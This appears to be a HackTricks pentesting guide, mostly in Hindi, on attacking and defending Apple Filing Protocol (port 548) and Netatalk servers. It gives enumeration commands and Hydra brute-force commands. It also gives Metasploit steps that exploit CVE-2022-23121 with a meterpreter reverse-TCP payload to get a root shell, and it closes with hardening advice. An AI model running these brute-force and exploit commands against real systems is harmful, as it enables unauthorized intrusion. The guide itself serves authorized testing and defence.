548 - Pentesting Apple Filing Protocol (AFP)

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

Apple Filing Protocol (AFP), जिसे पहले AppleTalk Filing Protocol के नाम से जाना जाता था, एक विशेष नेटवर्क प्रोटोकॉल है जो Apple File Service (AFS) के अंतर्गत आता है। यह macOS और क्लासिक Mac OS के लिए फ़ाइल सेवाएँ प्रदान करने के लिए डिज़ाइन किया गया है। AFP यूनिकोड फ़ाइल नामों, POSIX-शैली और ACL अनुमतियों, संसाधन फोर्क, नामित विस्तारित विशेषताओं और जटिल फ़ाइल-लॉकिंग तंत्रों का समर्थन करने के लिए खड़ा है।

हालांकि AFP को आधुनिक macOS रिलीज़ में SMB द्वारा प्रतिस्थापित किया गया है (OS X 10.9 से SMB डिफ़ॉल्ट है), यह अभी भी निम्नलिखित में पाया जाता है:

  • विरासती macOS / Mac OS 9 वातावरण
  • NAS उपकरण (QNAP, Synology, Western Digital, TrueNAS…) जो ओपन-सोर्स Netatalk डेमन को एम्बेड करते हैं
  • मिश्रित-OS नेटवर्क जहाँ Time-Machine-over-AFP अभी भी सक्षम है

डिफ़ॉल्ट TCP पोर्ट: 548 (AFP over TCP / DSI)

bash
PORT     STATE SERVICE
548/tcp  open  afp

Enumeration

Quick banner / server info

bash
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

उपयोगी AFP NSE स्क्रिप्ट:

स्क्रिप्टयह क्या करता है
afp-lsउपलब्ध AFP वॉल्यूम और फ़ाइलों की सूची बनाता है
afp-bruteAFP लॉगिन के खिलाफ पासवर्ड ब्रूट-फोर्स करता है
afp-serverinfoसर्वर का नाम, मशीन प्रकार, AFP संस्करण, समर्थित UAMs आदि को डंप करता है
afp-showmountशेयरों की सूची बनाता है साथ ही उनके ACLs के साथ
afp-path-vulnनिर्देशिका-क्रॉसिंग, CVE-2010-0533 का पता लगाता है (और इसका शोषण कर सकता है)

यदि अधिक नियंत्रण की आवश्यकता है तो NSE ब्रूट-फोर्स स्क्रिप्ट को Hydra/Medusa के साथ जोड़ा जा सकता है:

bash
hydra -L users.txt -P passwords.txt afp://<IP>

शेयरों के साथ इंटरैक्ट करना

macOS

bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (using afpfs-ng ‑ अधिकांश डिस्ट्रीब्यूशनों में पैक किया गया)

bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

एक बार माउंट होने के बाद, याद रखें कि क्लासिक मैक रिसोर्स-फोर्क्स को छिपे हुए ._* AppleDouble फ़ाइलों के रूप में संग्रहीत किया जाता है - इनमें अक्सर दिलचस्प मेटाडेटा होता है जिसे DFIR उपकरण मिस कर देते हैं।


सामान्य कमजोरियाँ और शोषण

Netatalk बिना प्रमाणीकरण RCE श्रृंखला (2022)

कई NAS विक्रेताओं ने Netatalk ≤3.1.12 भेजा। parse_entries() में सीमाओं की जांच की कमी एक हमलावर को एक दुर्भावनापूर्ण AppleDouble हेडर बनाने और प्रमाणीकरण से पहले remote root प्राप्त करने की अनुमति देती है (CVSS 9.8 – CVE-2022-23121)। NCC Group द्वारा Western-Digital PR4100 का शोषण करते हुए PoC के साथ एक पूर्ण लेख उपलब्ध है।

Metasploit (>= 6.3) मॉड्यूल exploit/linux/netatalk/parse_entries के साथ आता है जो DSI WRITE के माध्यम से पेलोड प्रदान करता है।

bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

यदि लक्ष्य प्रभावित QNAP/Synology फर्मवेयर चलाता है, तो सफल शोषण root के रूप में एक शेल प्रदान करता है।

Netatalk OpenSession heap overflow (2018)

पुराना Netatalk (3.0.0 - 3.1.11) DSI OpenSession हैंडलर में एक आउट-ऑफ-बाउंड्स लिखने के लिए संवेदनशील है, जो बिना प्रमाणीकरण के कोड निष्पादन की अनुमति देता है (CVE-2018-1160)। Tenable Research द्वारा एक विस्तृत विश्लेषण और PoC प्रकाशित किया गया था।

अन्य उल्लेखनीय मुद्दे

  • CVE-2022-22995 – Symlink पुनर्निर्देशन जो AppleDouble v2 सक्षम होने पर मनमाने फ़ाइल लेखन / RCE की ओर ले जाता है (3.1.0 - 3.1.17)।
  • CVE-2010-0533 – Apple Mac OS X 10.6 AFP में निर्देशिका traversal (जिसे afp-path-vuln.nse द्वारा पता लगाया गया)।
  • Netatalk 4.x (2024) में कई मेमोरी-सुरक्षा बग को ठीक किया गया – व्यक्तिगत CVEs को पैच करने के बजाय अपग्रेड करने की सिफारिश की जाती है।

रक्षा सिफारिशें

  1. AFP को निष्क्रिय करें जब तक कि यह सख्ती से आवश्यक न हो – इसके बजाय SMB3 या NFS का उपयोग करें।
  2. यदि AFP रहना चाहिए, तो Netatalk को ≥ 3.1.18 या 4.x में अपग्रेड करें, या विक्रेता फर्मवेयर लागू करें जो 2022/2023/2024 पैच को बैक-पोर्ट करता है।
  3. Strong UAMs (जैसे DHX2) को लागू करें, स्पष्ट-टेक्स्ट और अतिथि लॉगिन को निष्क्रिय करें।
  4. TCP 548 को विश्वसनीय उपनेट्स तक सीमित करें और जब दूरस्थ रूप से उजागर हो, तो AFP को एक VPN के अंदर लपेटें।
  5. समय-समय पर nmap -p 548 --script afp-* के साथ CI/CD में स्कैन करें ताकि बागी / डाउनग्रेडेड उपकरणों को पकड़ा जा सके।

Brute-Force

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें